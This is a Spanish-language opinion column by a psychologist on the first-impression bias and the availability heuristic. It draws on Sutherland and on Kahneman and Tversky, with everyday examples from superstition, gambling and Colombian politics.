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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Amor a primera vista: El sesgo de la primera impresión

Amor a primera vista: El sesgo de la primera impresión

Por Dr. Luis Flórez Alarcón
Es todo lo que tengo

La más reciente impresión que nos causa algo o alguien, sobre todo cuando se trata de una primera impresión, adquiere gran relevancia porque suele permanecer como el elemento disponible, el que se tiene a la mano, para hacer juicios o valoraciones de ese asunto o de esa persona. Por supuesto esa relevancia se puede cambiar si se cuestiona y se modifica la validez permanente que se le asigna a la primera impresión, la cual, no obstante, siempre será “la primera” (algunas personas no logran reponerse del “amor a primera vista”). Este hecho ilustra de forma clara cómo operan los sesgos de pensamiento para distorsionar la realidad al constituirse en formas parciales e incompletas de percibir o de valorar algo, sin que seamos conscientes de este procesamiento defectuoso realizado por el pensamiento automático. La presente nota se propone profundizar en el tema al que alude el sesgo de la primera impresión, el cual constituye una manifestación de lo que técnicamente se denomina Heurística de Disponibilidad.

Nos cuidamos de aparecer bien para causar una primera buena impresión y tratamos de fortalecer esa fama; eso es comprensible y así lo recomienda el refrán “cría fama y recuéstate en la cama”. Lo que resulta incomprensible es que nos “traguemos” las primeras impresiones que nos producen otras personas y situaciones, y permanezcamos inamovibles en esa primera impresión, buena o mala, a pesar de evidencias posteriores contrarias a la validez de lo que apenas fue una primera muestra, parcial e insuficiente, acerca de la esencia de algo o de alguien.

En el libro titulado “Irracionalidad: El enemigo interior” (Alianza Editorial, segunda edición, 2015) el psicólogo inglés Stuart Sutherland se refiere a este tema en el capítulo que titula “la impresión equivocada”, al referirse al proceso sistemático de pensamiento que nos lleva a distorsionar los hechos reales, debido a la tendencia de tomar en cuenta los elementos que nos producen una mayor impresión, o los primeros que se nos ocurren.

Me llama la atención que el autor de este excelente libro sobre la irracionalidad humana sea Sutherland, un psicólogo comparativo (la psicología comparada trata de explicar el comportamiento humano a partir del estudio del comportamiento animal no-humano y de las comparaciones entre especies); tal vez sea porque la poco variable asimilación que hacen los no-humanos sobre las señales provenientes del mundo circundante les permite a los animales ser siempre objetivos (responden a hechos observables) en la comprensión de la realidad, aunque sin duda menos creativos, en contraste con la subjetividad humana. Si la creatividad fundamentada en la subjetividad es uno de los logros más importantes de la evolución, la irracionalidad humana es uno de sus principales costos; y eso parece entenderlo muy bien este estudioso del comportamiento animal.

La primera impresión es lo que cuenta

Amor a primera vista

Uno de los textos invariablemente citados por quienes investigan sobre el tema de los sesgos y los heurísticos es el que escribieron en 1974 el psicólogo Daniel Kahneman, premio nobel de economía en 2002, junto con su colega Amos Tversky, con el título “el juicio bajo incertidumbre: heurísticas y sesgos”. Este texto se reproduce en un apéndice de su libro titulado “Pensar rápido, pensar despacio” (Random House Mondadori, S.A., 2012). Allí los autores analizan los principios de reducción que utilizamos los humanos al usar procesos heurísticos en nuestro manejo de la información.

Un proceso heurístico consiste en operaciones simples para la producción de ideas que empleamos en sustitución de las operaciones más complejas de estimación de probabilidades requeridas para garantizar una toma racional de decisiones; una de esas operaciones más simples es la heurística de disponibilidad, la cual significa que hay situaciones en las que la probabilidad de que ocurra un evento la estimamos a partir de los sucesos que recordamos con mayor facilidad.

Pues bien, cuando una primera impresión es suficientemente intensa, se convierte en la que recordamos con mayor facilidad, frecuentemente en la única, llevándonos a incurrir en el sesgo de la primera impresión. Por supuesto, esto no significa que la primera impresión sea siempre errada; significa que guiarse solo por ella incrementa la probabilidad de incurrir en errores de apreciación, por lo cual es recomendable que basemos nuestro juicio en un conjunto más amplio de observaciones, sin permitir que una observación (especialmente la primera) contamine a las demás. Esa es una tarea crítica para nuestro principal aliado contra la irracionalidad: El monólogo socrático.

Si a alguien le suministramos un listado con igual número de nombres de mujeres que de hombres, y luego le preguntamos de cuál sexo hay más nombres, su respuesta se verá afectada por la cantidad de nombres famosos que se hayan incluido en el listado: Si había más nombres famosos de mujeres, la respuesta más probable será que hay más nombres de mujeres en el listado, y, a la inversa, si hay más nombres famosos de hombres. Esto se debe a la disponibilidad que deja en la memoria el impacto de los nombres reconocidos por la persona.

De la misma forma, si le preguntamos a alguien si hay más palabras que empiecen por la letra “r” que palabras donde la letra “r” se encuentre en la tercera posición, la respuesta más probable es que hay más palabras que empiezan por “r” (ej. “río”), a pesar de que son muchas más las que tienen a la “r” en tercer lugar (ej. “carta”); la razón es la misma: recordamos con más facilidad la primera clase de palabras, por lo cual hay mayor disponibilidad de las palabras que empiezan por “r”. ¿Cree usted que lo mismo sucede con la letra “k”? (pregúntele a wiKipedia para validar su respuesta; no le pregunte a Kike).

En la vida cotidiana nos encontramos con “juicios”, a veces inapelables, que nos conducen a la toma de importantes decisiones. Un interlocutor puede concluir que alguien “tiene cara de ser inteligente (o estúpido)”. ¿De dónde concluye qué es una cara inteligente? ¿La que tiene una forma parecida a la del actual campeón mundial de ajedrez? ¿La que luce unos lentes de intelectual? En algunas ocasiones producen risa, o estupor en otras, los comentarios que los foristas hacen a los artículos de prensa: “el tipo de la foto tiene pura cara de …”, “la periodista que escribe este artículo es …”, “este personaje de la vida pública parece …”. El asunto no es inocente; cada comentario puede influir sobre decisiones importantes de un lector, tales como formarse una impresión (positiva o negativa) acerca de alguien, decidir su voto en una elección, comprar determinado producto, etc.

El comportamiento supersticioso es un producto favorito de las primeras impresiones. Haber sufrido un accidente o algún tipo de adversidad luego de haber pasado por debajo de una escalera, luego de haber quebrado un espejo, o en un día que cae en martes 13, puede ser suficiente para que jamás lo olvidemos y siempre recordemos “lo que no debemos hacer” o lo que “tenemos que evitar”. Por si acaso, podemos cruzar los dedos (o golpear tres veces sobre madera) para “impedir” que suceda algo indeseable (como un gol en contra de nuestro equipo favorito), sobre todo si nos ha funcionado recientemente.

Estas asociaciones positivas son instancias de lo que se conoce como “correlaciones ilusorias”, que sesgan notablemente el juicio acerca de la probabilidad de que dos eventos se presenten conjuntamente. Los clientes de los casinos soplan los dados antes de lanzarlos, sobre todo si en alguna ocasión esa operación ha ido seguida de alguna ganancia. Se recuerda selectivamente algo que causa mayor impacto (ej. la ocasión en que se soplaron los dados antes del lanzamiento ganancioso) y se “olvidan” (en realidad se omiten selectivamente) las múltiples ocasiones en que la misma operación ha terminado en pérdidas; ¿explica eso el comportamiento irracional del jugador que no vacila en exponer su fortuna ante una circunstancia que, en su correlación ilusoria, le augura una cuantiosa ganancia? Paradójicamente ese jugador llama “pájaro de mal agüero” a alguien que le hace caer en cuenta de que se trata de una correlación ilusoria, para persuadirlo de que no exponga su fortuna.

Un juego es el amor a primera impresión

Amor a primera vista en un juego

Considero que el sesgo de la primera impresión tiene efectos importantes en nuestra cultura. Por ejemplo, me llama la atención la notable facilidad con que se emprenden acciones ejemplarizantes contra otros en nuestro medio, guiándose por la idea de que “el que pega primero, pega dos veces” (hay que causar una primera impresión que sea lo más fuerte posible). Eso determina que, cuando recibimos algún reclamo o alguna crítica, convirtamos el ataque automático en la mejor estrategia de defensa, antes de analizar los argumentos del otro.

Las discusiones entre los personajes de la vida política son muy ricas en este tipo de modelos; el uso del “espejo retrovisor” se convirtió en la estrategia favorita que utilizan los gobernantes para responder a las críticas que reciben, siempre tratando de causar una impresión de culpabilidad de sus antecesores, que quede disponible para justificar sus propios errores. En las disputas políticas álgidas, como la vivida recientemente en Colombia a raíz del plebiscito para la aprobación de los acuerdos de paz, los líderes de una propuesta u otra utilizaban fácilmente falacias y falsedades para generar una impresión fabricada al gusto del oyente (ej. “se quiere acabar con la familia tradicional” para impresionar a los adeptos a las religiones) dejándola como heurística de disponibilidad que le permitía a alguien “explicar” su comportamiento, votar a favor o en contra, sin mayor esfuerzo de análisis o de objetividad. La célebre frase “de la calumnia algo queda” ilustra la potencia de esta propiedad del procesamiento de información.

Pero puede ser peor que estos eventos de irracionalidad ocurran en el ámbito de la vida privada que en el de la vida pública. Finalmente, en el segundo caso compartimos los costos de los platos rotos, algo que nos toca asumir en solitario cuando se trata de la vida privada, o, peor aún, de la vida íntima. En cualquier caso será mejor apelar al monólogo socrático en busca de juicios deliberados, antes de aceptar las sugerencias de las impresiones intuitivas, sobre todo cuando los asuntos personales de importancia se encuentran en juego. Lástima que sea tan difícil recordarlo en los momentos en que más lo necesitamos.

 

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
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